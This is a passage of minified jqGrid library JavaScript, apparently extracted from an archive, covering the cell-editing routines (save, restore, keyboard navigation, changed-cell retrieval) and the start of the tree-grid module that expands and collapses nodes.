e.preventDefault(),G(t).jqGrid("saveCell",c,f),c<t.rows.length-1&&C&&G(t).jqGrid("focusBodyCell",c+1,f),!1;if(9===e.keyCode&&!C){if(t.grid.hDiv.loading)return!1;e.shiftKey?t.p.ariaBody?(G(t).jqGrid("saveCell",c,f),1<f&&G(t).jqGrid("focusBodyCell",c,f-1)):!G(t).jqGrid("prevCell",c,f,e)&&t.p.editNextRowCell&&0<c-1&&t.rows[c-1]&&(c--,G(t).jqGrid("prevCell",c,t.p.colModel.length,e)):t.p.ariaBody?(G(t).jqGrid("saveCell",c,f),f<t.p.colModel.length-1&&G(t).jqGrid("focusBodyCell",c,f+1)):!G(t).jqGrid("nextCell",c,f,e)&&t.p.editNextRowCell&&t.rows[c+1]&&(c++,G(t).jqGrid("nextCell",c,0,e))}!C&&t.p.F2key&&t.p.ariaBody&&"F2"===e.key&&(G(t).jqGrid("saveCell",c,f),G(t).jqGrid("focusBodyCell",c,f),t.p.F2key=!1),C&&("ArrowUp"===i&&(G(t).jqGrid("saveCell",c,f),1<c)&&G(t).jqGrid("focusBodyCell",c-1,f),"ArrowDown"===i&&(G(t).jqGrid("saveCell",c,f),c<t.p.rows.length-1)&&G(t).jqGrid("focusBodyCell",c+1,f),"ArrowLeft"===i&&(G(t).jqGrid("saveCell",c,f),1<f)&&G(t).jqGrid("focusBodyCell",c,f-1),"ArrowRight"===i&&(G(t).jqGrid("saveCell",c,f),f<t.p.colModel.length-1)&&G(t).jqGrid("focusBodyCell",c,f+1),9===e.keyCode)&&(G(t).jqGrid("saveCell",c,f),e.shiftKey?1<f&&G(t).jqGrid("focusBodyCell",c,f-1):f<t.p.colModel.length-1&&G(t).jqGrid("focusBodyCell",c,f+1)),e.stopPropagation()}),G(t).triggerHandler("jqGridAfterEditCell",[t.rows[c].id,e,i,c,f]),G.jgrid.isFunction(t.p.afterEditCell)&&t.p.afterEditCell.call(t,t.rows[c].id,e,i,c,f)}t.p.iCol=f,t.p.iRow=c,t.p.iRowId=t.rows[c].id}}})},saveCell:function(q,b,m){return this.each(function(){var r=this,e=r.p.colModel[b],o=e.name,d=G(r).jqGrid("getGridRowById",r.rows[q].id),s=G("td",d).eq(b),a=(void 0!==m&&(t=G.unformat.call(r,s,{rowId:r.rows[q].id,colModel:e},b),r.p.savedRow.push({id:q,ic:b,name:o,v:t,rowId:r.rows[q].id}),r.p.savedValues={oldvalue:t,newvalue:m,indexRow:q}),1<=r.p.savedRow.length?0:null),n=G.jgrid.getRegional(this,"errors"),p=G.jgrid.getRegional(this,"edit");if(r.grid&&!0===r.p.cellEdit){if(null!==a){var c=G.jgrid.jqID(o),f=G(s).offset();if(void 0===m)switch(e.edittype){case"select":var l,u,g=e.editoptions.multiple?(i=G("#"+q+"_"+c,d),l=[],(u=G(i).val())?u.join(","):u="",G("option:selected",i).each(function(e,i){l[e]=G(i).text()}),l.join(",")):(u=G("#"+q+"_"+c+" option:selected",d).val(),G("#"+q+"_"+c+" option:selected",d).text());e.formatter&&(g=u);break;case"checkbox":var i=["Yes","No"];e.editoptions&&e.editoptions.value&&(i=e.editoptions.value.split(":")),u=G("#"+q+"_"+c,d).is(":checked")?i[0]:i[1],g=u;break;case"password":case"text":case"textarea":case"button":u=G("#"+q+"_"+c,d).val(),g=u;break;case"custom":try{if(!e.editoptions||!G.jgrid.isFunction(e.editoptions.custom_value))throw"e1";if(void 0===(u=e.editoptions.custom_value.call(r,G(".customelement",s),"get")))throw"e2";g=u}catch(e){"e1"===e?G.jgrid.info_dialog(n.errcap,"function 'custom_value' "+p.msg.nodefined,p.bClose,{styleUI:r.p.styleUI}):"e2"===e?G.jgrid.info_dialog(n.errcap,"function 'custom_value' "+p.msg.novalue,p.bClose,{styleUI:r.p.styleUI}):G.jgrid.info_dialog(n.errcap,e.message,p.bClose,{styleUI:r.p.styleUI})}}else{if(!0!==e.editable||s.hasClass("not-editable-cell")||G.jgrid.isFunction(r.p.isCellEditable)&&!r.p.isCellEditable.call(r,o,q,b))return g=u=m,void r.p.savedRow.splice(0,1);g=u=m}if(g!==r.p.savedRow[a].v){var t=G(r).triggerHandler("jqGridBeforeSaveCell",[r.p.savedRow[a].rowId,o,u,q,b]),C=(t&&(g=u=t),G.jgrid.isFunction(r.p.beforeSaveCell)&&(t=r.p.beforeSaveCell.call(r,r.p.savedRow[a].rowId,o,u,q,b))&&(g=u=t),G.jgrid.checkValues.call(r,u,b)),v=!1;if(!0===C[0]){var t=G(r).triggerHandler("jqGridBeforeSubmitCell",[r.p.savedRow[a].rowId,o,u,q,b])||{},w=(G.jgrid.isFunction(r.p.beforeSubmitCell)&&(t=(t=r.p.beforeSubmitCell.call(r,r.p.savedRow[a].rowId,o,u,q,b))||{}),G(r).triggerHandler("jqGridOnSubmitCell",[r.p.savedRow[a].rowId,o,u,q,b]));if(void 0===w&&(w=!0),!1===(w=G.jgrid.isFunction(r.p.onSubmitCell)&&void 0===(w=r.p.onSubmitCell(r.p.savedRow[a].rowId,o,u,q,b))?!0:w))return;0<G("input.hasDatepicker",s).length&&G("input.hasDatepicker",s).datepicker("hide");var h={};if("remote"===r.p.cellsubmit)if(r.p.cellurl){r.p.autoencode&&(u=G.jgrid.htmlEncode(u)),e.editoptions&&e.editoptions.NullIfEmpty&&""===u&&(u="null",v=!0),h[o]=u;var w=r.p.prmNames,j=w.id,y=w.oper;h[j]=G.jgrid.stripPref(r.p.idPrefix,r.p.savedRow[a].rowId),h[y]=w.editoper,h=G.extend(t,h),G(r).jqGrid("progressBar",{method:"show",loadtype:r.p.loadui,htmlcontent:G.jgrid.getRegional(r,"defaults.savetext")}),r.grid.hDiv.loading=!0,G.ajax(G.extend({url:r.p.cellurl,data:G.jgrid.isFunction(r.p.serializeCellData)?r.p.serializeCellData.call(r,h,o):h,type:"POST",success:function(e,i,l){var t;G(r).jqGrid("progressBar",{method:"hide",loadtype:r.p.loadui}),r.grid.hDiv.loading=!1,"success"===i&&(!0===(t=!0===(t=G(r).triggerHandler("jqGridAfterSubmitCell",[r,l,h[j],o,u,q,b])||[!0,""])[0]&&G.jgrid.isFunction(r.p.afterSubmitCell)?r.p.afterSubmitCell.call(r,l,h[j],o,u,q,b):t)[0]?(v&&(u=""),G(s).empty(),G(r).jqGrid("setCell",r.p.savedRow[a].rowId,b,g,!1,!1,!0),s=G("td",d).eq(b),G(s).addClass("dirty-cell"),G(d).addClass("edited"),G(r).triggerHandler("jqGridAfterSaveCell",[r.p.savedRow[a].rowId,o,u,q,b]),G.jgrid.isFunction(r.p.afterSaveCell)&&r.p.afterSaveCell.call(r,r.p.savedRow[a].rowId,o,u,q,b),r.p.savedRow.splice(0,1)):(G(r).triggerHandler("jqGridErrorCell",[l,i]),G.jgrid.isFunction(r.p.errorCell)?r.p.errorCell.call(r,l,i):G.jgrid.info_dialog(n.errcap,t[1],p.bClose,{styleUI:r.p.styleUI,top:f.top+30,left:f.left,onClose:function(){r.p.restoreCellonFail||G("#"+q+"_"+c,d).focus()}}),r.p.restoreCellonFail&&G(r).jqGrid("restoreCell",q,b)))},error:function(e,i,l){G("#lui_"+G.jgrid.jqID(r.p.id)).hide(),r.grid.hDiv.loading=!1,G(r).triggerHandler("jqGridErrorCell",[e,i,l]),G.jgrid.isFunction(r.p.errorCell)?r.p.errorCell.call(r,e,i,l):G.jgrid.info_dialog(n.errcap,e.status+" : "+e.statusText+"<br/>"+i,p.bClose,{styleUI:r.p.styleUI,top:f.top+30,left:f.left,onClose:function(){r.p.restoreCellonFail||G("#"+q+"_"+c,d).focus()}}),r.p.restoreCellonFail&&G(r).jqGrid("restoreCell",q,b)}},G.jgrid.ajaxOptions,r.p.ajaxCellOptions||{}))}else try{G.jgrid.info_dialog(n.errcap,n.nourl,p.bClose,{styleUI:r.p.styleUI}),r.p.restoreCellonFail&&G(r).jqGrid("restoreCell",q,b)}catch(e){}"clientArray"===r.p.cellsubmit?(G(s).empty(),G(r).jqGrid("setCell",r.p.savedRow[a].rowId,b,g,!1,!1,!0),s=G("td",d).eq(b),G(s).addClass("dirty-cell"),G(d).addClass("edited"),G(r).triggerHandler("jqGridAfterSaveCell",[r.p.savedRow[a].rowId,o,u,q,b]),G.jgrid.isFunction(r.p.afterSaveCell)&&r.p.afterSaveCell.call(r,r.p.savedRow[a].rowId,o,u,q,b),r.p.savedRow.splice(0,1)):"storage"===r.p.cellsubmit&&((h=r.p.savedRow[a])[o]=u,h[r.p.keyName]=G.jgrid.stripPref(r.p.idPrefix,r.p.savedRow[a].rowId),G(r).jqGrid("updateStorageRecord",h).then(function(e){"complete"===e.type&&(G(s).empty(),G(r).jqGrid("setCell",r.p.savedRow[a].rowId,b,g,!1,!1,!0),s=G("td",d).eq(b),G(s).addClass("dirty-cell"),G(d).addClass("edited"),G(r).triggerHandler("jqGridAfterSaveCell",[r.p.savedRow[a].rowId,o,u,q,b]),G.jgrid.isFunction(r.p.afterSaveCell)&&r.p.afterSaveCell.call(r,r.p.savedRow[a].rowId,o,u,q,b),r.p.savedRow.splice(0,1))}).catch(function(e){G.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}))}else try{G.jgrid.isFunction(r.p.validationCell)?r.p.validationCell.call(r,G("#"+q+"_"+c,d),C[1],q,b):(window.setTimeout(function(){G.jgrid.info_dialog(n.errcap,u+" "+C[1],p.bClose,{styleUI:r.p.styleUI,top:f.top+30,left:f.left,onClose:function(){r.p.restoreCellonFail||G("#"+q+"_"+c,d).focus()}})},50),r.p.restoreCellonFail&&G(r).jqGrid("restoreCell",q,b))}catch(e){alert(C[1])}}else G(r).jqGrid("restoreCell",q,b)}window.setTimeout(function(){G("#"+G.jgrid.jqID(r.p.knv)).attr("tabindex","-1").focus(),r.p.ariaBody&&G(r).jqGrid("focusBodyCell",r.p.iRow,r.p.iCol)},0)}})},restoreCell:function(t,r){return this.each(function(){var e=this,i=1<=e.p.savedRow.length?0:null;if(e.grid&&!0===e.p.cellEdit){if(null!==i){var l=G(e).jqGrid("getGridRowById",e.p.savedRow[i].rowId),l=G("td",l).eq(r);if(G.jgrid.isFunction(G.fn.datepicker))try{G("input.hasDatepicker",l).datepicker("hide")}catch(e){}G(l).empty().attr("tabindex","-1"),G(e).jqGrid("setCell",e.p.savedRow[0].rowId,r,e.p.savedRow[i].v,!1,!1,!0),G(e).triggerHandler("jqGridAfterRestoreCell",[e.p.savedRow[i].rowId,e.p.savedRow[i].v,t,r]),G.jgrid.isFunction(e.p.afterRestoreCell)&&e.p.afterRestoreCell.call(e,e.p.savedRow[i].rowId,e.p.savedRow[i].v,t,r),e.p.savedRow.splice(0,1)}window.setTimeout(function(){G("#"+e.p.knv).attr("tabindex","-1").focus(),e.p.ariaBody&&G(e).jqGrid("focusBodyCell",e.p.iRow,e.p.iCol)},0)}})},nextCell:function(t,r,o){var d;return this.each(function(){var e,i=this,l=!1;if(i.grid&&!0===i.p.cellEdit){for(e=r+1;e<i.p.colModel.length;e++)if(!0===i.p.colModel[e].editable&&(!G.jgrid.isFunction(i.p.isCellEditable)||i.p.isCellEditable.call(i,i.p.colModel[e].name,t,e))){l=e;break}!1!==l?(d=!0,G(i).jqGrid("editCell",t,l,!0,o)):(d=!1,0<i.p.savedRow.length&&G(i).jqGrid("saveCell",t,r))}}),d},prevCell:function(t,r,o){var d;return this.each(function(){var e,i=this,l=!1;if(!i.grid||!0!==i.p.cellEdit)return!1;for(e=r-1;0<=e;e--)if(!0===i.p.colModel[e].editable&&(!G.jgrid.isFunction(i.p.isCellEditable)||i.p.isCellEditable.call(i,i.p.colModel[e].name,t,e))){l=e;break}!1!==l?(d=!0,G(i).jqGrid("editCell",t,l,!0,o)):(d=!1,0<i.p.savedRow.length&&G(i).jqGrid("saveCell",t,r))}),d},GridNav:function(){return this.each(function(){var e,i,l,s=this;function t(e,i,l){var t,r,o,d;"v"===l.slice(0,1)&&(t=G(s.grid.bDiv)[0].clientHeight,d=G(s.grid.bDiv)[0].scrollTop,r=s.rows[e].offsetTop+s.rows[e].clientHeight,o=s.rows[e].offsetTop,"vd"===l&&t<=r&&(G(s.grid.bDiv)[0].scrollTop=G(s.grid.bDiv)[0].scrollTop+s.rows[e].clientHeight),"vu"===l)&&o<d&&(G(s.grid.bDiv)[0].scrollTop=G(s.grid.bDiv)[0].scrollTop-s.rows[e].clientHeight),"h"===l&&(t=G(s.grid.bDiv)[0].clientWidth,r=G(s.grid.bDiv)[0].scrollLeft,o=s.rows[e].cells[i].offsetLeft+s.rows[e].cells[i].clientWidth,d=s.rows[e].cells[i].offsetLeft,o>=t+parseInt(r,10)?G(s.grid.bDiv)[0].scrollLeft=G(s.grid.bDiv)[0].scrollLeft+s.rows[e].cells[i].clientWidth:d<r&&(G(s.grid.bDiv)[0].scrollLeft=G(s.grid.bDiv)[0].scrollLeft-s.rows[e].cells[i].clientWidth))}function r(e,i){var l,t;if("lft"===i)for(l=e+1,t=e;0<=t;t--)if(!0!==s.p.colModel[t].hidden){l=t;break}if("rgt"===i)for(l=e-1,t=e;t<s.p.colModel.length;t++)if(!0!==s.p.colModel[t].hidden){l=t;break}return l}s.grid&&!0===s.p.cellEdit&&(s.p.knv=s.p.id+"_kn",e=G("<div style='position:fixed;top:0px;width:1px;height:1px;' tabindex='0'><div tabindex='-1' style='width:1px;height:1px;' id='"+s.p.knv+"'></div></div>"),G(e).insertBefore(s.grid.cDiv),G("#"+s.p.knv).focus().keydown(function(e){switch(l=e.keyCode,"rtl"===s.p.direction&&(37===l?l=39:39===l&&(l=37)),l){case 38:0<s.p.iRow-1&&(t(s.p.iRow-1,s.p.iCol,"vu"),G(s).jqGrid("editCell",s.p.iRow-1,s.p.iCol,!1,e));break;case 40:s.p.iRow+1<=s.rows.length-1&&(t(s.p.iRow+1,s.p.iCol,"vd"),G(s).jqGrid("editCell",s.p.iRow+1,s.p.iCol,!1,e));break;case 37:0<=s.p.iCol-1&&(i=r(s.p.iCol-1,"lft"),t(s.p.iRow,i,"h"),G(s).jqGrid("editCell",s.p.iRow,i,!1,e));break;case 39:s.p.iCol+1<=s.p.colModel.length-1&&(i=r(s.p.iCol+1,"rgt"),t(s.p.iRow,i,"h"),G(s).jqGrid("editCell",s.p.iRow,i,!1,e));break;case 13:0<=parseInt(s.p.iCol,10)&&0<=parseInt(s.p.iRow,10)&&(e.preventDefault(),G(s).jqGrid("editCell",s.p.iRow,s.p.iCol,!0,e));break;default:return!0}return!1}))})},getChangedCells:function(o){var e=[];return o=o||"all",this.each(function(){var t,r=this;r.grid&&!0===r.p.cellEdit&&G(r.rows).each(function(i){var l={};G(this).hasClass("edited")&&(G("td",this).each(function(e){if("cb"!==(t=r.p.colModel[e].name)&&"subgrid"!==t&&"sc"!==t)if("dirty"===o){if(G(this).hasClass("dirty-cell"))try{l[t]=G.unformat.call(r,this,{rowId:r.rows[i].id,colModel:r.p.colModel[e]},e)}catch(e){l[t]=G.jgrid.htmlDecode(G(this).html())}}else try{l[t]=G.unformat.call(r,this,{rowId:r.rows[i].id,colModel:r.p.colModel[e]},e)}catch(e){l[t]=G.jgrid.htmlDecode(G(this).html())}}),l.id=this.id,e.push(l))})}),e}})});minified/grid.treegrid.js000064400000046060151677266200011441 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(N){"use strict";N.jgrid.extend({setTreeNode:function(u,G){return this.each(function(){var t=this;if(t.grid&&t.p.treeGrid){var e,r,i,d,a,s=t.p.expColInd,l=t.p.treeReader.expanded_field,n=t.p.treeReader.leaf_field,p=t.p.treeReader.level_field,o=t.p.treeReader.icon_field,h=t.p.treeReader.loaded,f=N.jgrid.styleUI[t.p.styleUI||"jQueryUI"].common,c=u;for(N(t).triggerHandler("jqGridBeforeSetTreeNode",[c,G]),N.jgrid.isFunction(t.p.beforeSetTreeNode)&&t.p.beforeSetTreeNode.call(t,c,G);u<G;){var g=N.jgrid.stripPref(t.p.idPrefix,t.rows[u].id),g=t.p._index[g],g=t.p.data[g];"nested"!==t.p.treeGridModel||g[n]||(i=parseInt(g[t.p.treeReader.left_field],10),e=parseInt(g[t.p.treeReader.right_field],10),g[n]=e===i+1?"true":"false",t.rows[u].cells[t.p._treeleafpos].innerHTML=g[n]),e=parseInt(g[p],10),i=0===t.p.tree_root_level?(r=e+1,e):(r=e)-1,d="<div class='tree-wrap tree-wrap-"+t.p.direction+"' style='width:"+18*r+"px;'>",d+="<div style='"+("rtl"===t.p.direction?"right:":"left:")+18*i+"px;' class='"+f.icon_base+" ",void 0!==g[h]&&("true"===g[h]||!0===g[h]?g[h]=!0:g[h]=!1),a="true"===g[n]||!0===g[n]?(d+=(void 0!==g[o]&&""!==g[o]?g[o]:t.p.treeIcons.leaf)+" tree-leaf treeclick",g[n]=!0,"leaf"):(g[n]=!1,""),g[l]=("true"===g[l]||!0===g[l])&&(g[h]||void 0===g[h]),!1===g[l]?d+=!0===g[n]?"'":t.p.treeIcons.plus+" tree-plus treeclick'":d+=!0===g[n]?"'":t.p.treeIcons.minus+" tree-minus treeclick'",d+="></div></div>",N(t.rows[u].cells[s]).wrapInner("<span class='cell-wrapper"+a+"'></span>").prepend(d),e===parseInt(t.p.tree_root_level,10)||N(t).jqGrid("isVisibleNode",g)||N(t.rows[u]).css("display","none"),N(t.rows[u].cells[s]).find("div.treeclick").on("click",function(e){e=e.target||e.srcElement,e=N.jgrid.stripPref(t.p.idPrefix,N(e,t.rows).closest("tr.jqgrow")[0].id),e=t.p._index[e];t.p.data[e][n]||(t.p.data[e][l]?(N(t).jqGrid("collapseRow",t.p.data[e]),N(t).jqGrid("collapseNode",t.p.data[e])):(N(t).jqGrid("expandRow",t.p.data[e]),N(t).jqGrid("expandNode",t.p.data[e])))}),!0===t.p.ExpandColClick&&N(t.rows[u].cells[s]).find("span.cell-wrapper").css("cursor","pointer").on("click",function(e){var e=e.target||e.srcElement,e=N.jgrid.stripPref(t.p.idPrefix,N(e,t.rows).closest("tr.jqgrow")[0].id),r=t.p._index[e];t.p.data[r][n]||(t.p.data[r][l]?(N(t).jqGrid("collapseRow",t.p.data[r]),N(t).jqGrid("collapseNode",t.p.data[r])):(N(t).jqGrid("expandRow",t.p.data[r]),N(t).jqGrid("expandNode",t.p.data[r]))),N(t).jqGrid("setSelection",e)}),u++}N(t).triggerHandler("jqGridAfterSetTreeNode",[c,G]),N.jgrid.isFunction(t.p.afterSetTreeNode)&&t.p.afterSetTreeNode.call(t,c,G)}})},setTreeGrid:function(){return this.each(function(){var e,r,t,i,d=this,a=0,s=!1,l=[],n=N.jgrid.styleUI[d.p.styleUI||"jQueryUI"].treegrid;if(d.p.treeGrid){for(t in d.p.treedatatype||N.extend(d.p,{treedatatype:d.p.datatype}),d.p.loadonce&&(d.p.treedatatype="local"),d.p.subGrid=!1,d.p.altRows=!1,d.p.treeGrid_bigData||(d.p.pgbuttons=!1,d.p.pginput=!1,d.p.rowList=[]),d.p.gridview=!0,null!==d.p.rowTotal||d.p.treeGrid_bigData||(d.p.rowNum=1e4),d.p.multiselect=!1,d.p.expColInd=0,e=n.icon_plus,"jQueryUI"===d.p.styleUI&&(e+="rtl"===d.p.direction?"w":"e"),d.p.treeIcons=N.extend({plus:e,minus:n.icon_minus,leaf:n.icon_leaf},d.p.treeIcons||{}),"nested"===d.p.treeGridModel?d.p.treeReader=N.extend({level_field:"level",left_field:"lft",right_field:"rgt",leaf_field:"isLeaf",expanded_field:"expanded",loaded:"loaded",icon_field:"icon"},d.p.treeReader):"adjacency"===d.p.treeGridModel&&(d.p.treeReader=N.extend({level_field:"level",parent_id_field:"parent",leaf_field:"isLeaf",expanded_field:"expanded",loaded:"loaded",icon_field:"icon"},d.p.treeReader)),d.p.colModel)if(d.p.colModel.hasOwnProperty(t))for(i in(r=d.p.colModel[t].name)!==d.p.ExpandColumn||s||(s=!0,d.p.expColInd=a),a++,r!==d.p.treeReader.level_field&&r!==d.p.treeReader.left_field&&r!==d.p.treeReader.right_field||(d.p.colModel[t].sorttype="integer"),d.p.treeReader)d.p.treeReader.hasOwnProperty(i)&&d.p.treeReader[i]===r&&l.push(r);N.each(d.p.treeReader,function(e,r){r&&-1===N.inArray(r,l)&&("leaf_field"===e&&(d.p._treeleafpos=a),a++,d.p.colNames.push(r),d.p.colModel.push({name:r,width:1,hidden:!0,sortable:!1,resizable:!1,hidedlg:!0,editable:!0,search:!1}))})}})},expandRow:function(s){this.each(function(){var e,r,t,i,d,a=this;a.p.treeGrid_bigData||(e=a.p.lastpage),a.grid&&a.p.treeGrid&&(r=N(a).jqGrid("getNodeChildren",s),t=a.p.treeReader.expanded_field,i=s[a.p.localReader.id],!1===(d=(d=void 0===(d=N(a).triggerHandler("jqGridBeforeExpandTreeGridRow",[i,s,r]))?!0:d)&&N.jgrid.isFunction(a.p.beforeExpandTreeGridRow)?a.p.beforeExpandTreeGridRow.call(a,i,s,r):d)||(N(r).each(function(){var e=a.p.idPrefix+N.jgrid.getAccessor(this,a.p.localReader.id);N(N(a).jqGrid("getGridRowById",e)).css("display",""),this[t]&&N(a).jqGrid("expandRow",this)}),N(a).triggerHandler("jqGridAfterExpandTreeGridRow",[i,s,r]),N.jgrid.isFunction(a.p.afterExpandTreeGridRow)&&a.p.afterExpandTreeGridRow.call(a,i,s,r),a.p.treeGrid_bigData)||(a.p.lastpage=e))})},collapseRow:function(a){this.each(function(){var e,r,t,i,d=this;d.grid&&d.p.treeGrid&&(e=N(d).jqGrid("getNodeChildren",a),r=d.p.treeReader.expanded_field,t=a[d.p.localReader.id],!1!==(i=(i=void 0===(i=N(d).triggerHandler("jqGridBeforeCollapseTreeGridRow",[t,a,e]))?!0:i)&&N.jgrid.isFunction(d.p.beforeCollapseTreeGridRow)?d.p.beforeCollapseTreeGridRow.call(d,t,a,e):i))&&(N(e).each(function(){var e=d.p.idPrefix+N.jgrid.getAccessor(this,d.p.localReader.id);N(N(d).jqGrid("getGridRowById",e)).css("display","none"),this[r]&&N(d).jqGrid("collapseRow",this)}),N(d).triggerHandler("jqGridAfterCollapseTreeGridRow",[t,a,e]),N.jgrid.isFunction(d.p.afterCollapseTreeGridRow))&&d.p.afterCollapseTreeGridRow.call(d,t,a,e)})},getRootNodes:function(){var d=[];return this.each(function(){var e,r,t=this,i=t.p.data;if(t.grid&&t.p.treeGrid)switch(t.p.treeGridModel){case"nested":e=t.p.treeReader.level_field,N(i).each(function(){parseInt(this[e],10)===parseInt(t.p.tree_root_level,10)&&d.push(this)});break;case"adjacency":r=t.p.treeReader.parent_id_field,N(i).each(function(){null!==this[r]&&"null"!==String(this[r]).toLowerCase()||d.push(this)})}}),d},getNodeDepth:function(r){var t=null;return this.each(function(){if(this.grid&&this.p.treeGrid)switch(this.p.treeGridModel){case"nested":var e=this.p.treeReader.level_field;t=parseInt(r[e],10)-parseInt(this.p.tree_root_level,10);break;case"adjacency":t=N(this).jqGrid("getNodeAncestors",r).length}}),t},getNodeParent:function(h){var f=null;return this.each(function(){var e=this;if(e.grid&&e.p.treeGrid)switch(e.p.treeGridModel){case"nested":var r=e.p.treeReader.left_field,t=e.p.treeReader.right_field,i=e.p.treeReader.level_field,d=parseInt(h[r],10),a=parseInt(h[t],10),s=parseInt(h[i],10);N(this.p.data).each(function(){if(parseInt(this[i],10)===s-1&&parseInt(this[r],10)<d&&parseInt(this[t],10)>a)return f=this,!1});break;case"adjacency":for(var l=e.p.treeReader.parent_id_field,n=e.p.localReader.id,p=h[n],o=e.p._index[p];o--;)if(String(e.p.data[o][n])===String(N.jgrid.stripPref(e.p.idPrefix,h[l]))){f=e.p.data[o];break}}}),f},getNodeChildren:function(f){var c=[];return this.each(function(){var e=this;if(e.grid&&e.p.treeGrid){var r,t=this.p.data.length;switch(e.p.treeGridModel){case"nested":for(var i=e.p.treeReader.left_field,d=e.p.treeReader.right_field,a=e.p.treeReader.level_field,s=parseInt(f[i],10),l=parseInt(f[d],10),n=parseInt(f[a],10),p=0;p<t;p++)(r=e.p.data[p])&&parseInt(r[a],10)===n+1&&parseInt(r[i],10)>s&&parseInt(r[d],10)<l&&c.push(r);break;case"adjacency":var o=e.p.treeReader.parent_id_field,h=e.p.localReader.id;for(p=0;p<t;p++)(r=e.p.data[p])&&String(r[o])===String(N.jgrid.stripPref(e.p.idPrefix,f[h]))&&c.push(r)}}}),c},getFullTreeNode:function(h,f){var c=[];return this.each(function(){var r,t,i,d=this,a=d.p.treeReader.expanded_field;if(d.grid&&d.p.treeGrid)switch(null!=f&&"boolean"==typeof f||(f=!1),d.p.treeGridModel){case"nested":var e=d.p.treeReader.left_field,s=d.p.treeReader.right_field,l=d.p.treeReader.level_field,n=parseInt(h[e],10),p=parseInt(h[s],10),o=parseInt(h[l],10);N(this.p.data).each(function(){parseInt(this[l],10)>=o&&parseInt(this[e],10)>=n&&parseInt(this[e],10)<=p&&(f&&(this[a]=!0),c.push(this))});break;case"adjacency":h&&(c.push(h),t=d.p.treeReader.parent_id_field,i=d.p.localReader.id,N(this.p.data).each(function(e){for(r=c.length,e=0;e<r;e++)if(String(N.jgrid.stripPref(d.p.idPrefix,c[e][i]))===String(this[t])){f&&(this[a]=!0),c.push(this);break}}))}}),c},getNodeAncestors:function(r,t,i){var d=[];return void 0===t&&(t=!1),this.each(function(){if(this.grid&&this.p.treeGrid){i=void 0!==i&&this.p.treeReader.expanded_field;for(var e=N(this).jqGrid("getNodeParent",r);e;){if(i)try{e[i]=!0}catch(e){}t?d.unshift(e):d.push(e),e=N(this).jqGrid("getNodeParent",e)}}}),d},isVisibleNode:function(t){var i=!0;return this.each(function(){var e,r;this.grid&&this.p.treeGrid&&(e=N(this).jqGrid("getNodeAncestors",t),r=this.p.treeReader.expanded_field,N(e).each(function(){if(!(i=i&&this[r]))return!1}))}),i},isNodeLoaded:function(i){var d;return this.each(function(){var e,r,t=this;t.grid&&t.p.treeGrid&&(e=t.p.treeReader.leaf_field,r=t.p.treeReader.loaded,d=void 0!==i&&(void 0!==i[r]?i[r]:!!(i[e]||0<N(t).jqGrid("getNodeChildren",i).length)))}),d},setLeaf:function(d,a,s){return this.each(function(){var e=N.jgrid.getAccessor(d,this.p.localReader.id),r=N("#"+e,this.grid.bDiv)[0],t=this.p.treeReader.leaf_field;try{var i=this.p._index[e];null!=i&&(this.p.data[i][t]=a)}catch(e){}!0===a?N("div.treeclick",r).removeClass(this.p.treeIcons.minus+" tree-minus "+this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.leaf+" tree-leaf"):!1===a&&(e=this.p.treeIcons.minus+" tree-minus",s&&(e=this.p.treeIcons.plus+" tree-plus"),N("div.treeclick",r).removeClass(this.p.treeIcons.leaf+" tree-leaf").addClass(e))})},reloadNode:function(o,h){return this.each(function(){var e,r,t,i,d,a,s,l,n,p;this.grid&&this.p.treeGrid&&(r=this.p.localReader.id,e=this.p.selrow,N(this).jqGrid("delChildren",o[r]),(h=void 0===h?!1:h)||jQuery._data(this,"events").jqGridAfterSetTreeNode||N(this).on("jqGridAfterSetTreeNode.reloadNode",function(){var e,r,t=this.p.treeReader.leaf_field;this.p.reloadnode&&(e=this.p.reloadnode,r=N(this).jqGrid("getNodeChildren",e),e[t]&&r.length?N(this).jqGrid("setLeaf",e,!1):e[t]||0!==r.length||N(this).jqGrid("setLeaf",e,!0)),this.p.reloadnode=!1}),r=this.p.treeReader.expanded_field,t=this.p.treeReader.parent_id_field,i=this.p.treeReader.loaded,d=this.p.treeReader.level_field,a=this.p.treeReader.leaf_field,s=this.p.treeReader.left_field,l=this.p.treeReader.right_field,n=N.jgrid.getAccessor(o,this.p.localReader.id),p=N("#"+n,this.grid.bDiv)[0],o[r]=!0,o[a]||N("div.treeclick",p).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"),this.p.treeANode=p.rowIndex,this.p.datatype=this.p.treedatatype,this.p.reloadnode=o,h&&(this.p.treeANode=0<p.rowIndex?p.rowIndex-1:1,N(this).jqGrid("delRowData",n)),"nested"===this.p.treeGridModel?N(this).jqGrid("setGridParam",{postData:{nodeid:n,n_left:o[s],n_right:o[l],n_level:o[d]}}):N(this).jqGrid("setGridParam",{postData:{nodeid:n,parentid:o[t],n_level:o[d]}}),N(this).trigger("reloadGrid"),o[i]=!0,"nested"===this.p.treeGridModel?N(this).jqGrid("setGridParam",{selrow:e,postData:{nodeid:"",n_left:"",n_right:"",n_level:""}}):N(this).jqGrid("setGridParam",{selrow:e,postData:{nodeid:"",parentid:"",n_level:""}}))})},expandNode:function(o){return this.each(function(){var e,r,t,i,d,a,s,l,n,p;this.grid&&this.p.treeGrid&&(e=this.p.treeReader.expanded_field,r=this.p.treeReader.parent_id_field,t=this.p.treeReader.loaded,i=this.p.treeReader.level_field,d=this.p.treeReader.left_field,a=this.p.treeReader.right_field,o[e]||(s=N.jgrid.getAccessor(o,this.p.localReader.id),l=N("#"+this.p.idPrefix+N.jgrid.jqID(s),this.grid.bDiv)[0],n=this.p._index[s],!1!==(p=(p=void 0===(p=N(this).triggerHandler("jqGridBeforeExpandTreeGridNode",[s,o]))?!0:p)&&N.jgrid.isFunction(this.p.beforeExpandTreeGridNode)?this.p.beforeExpandTreeGridNode.call(this,s,o):p)&&(N(this).jqGrid("isNodeLoaded",this.p.data[n])?(o[e]=!0,N("div.treeclick",l).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus")):this.grid.hDiv.loading||(o[e]=!0,N("div.treeclick",l).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" 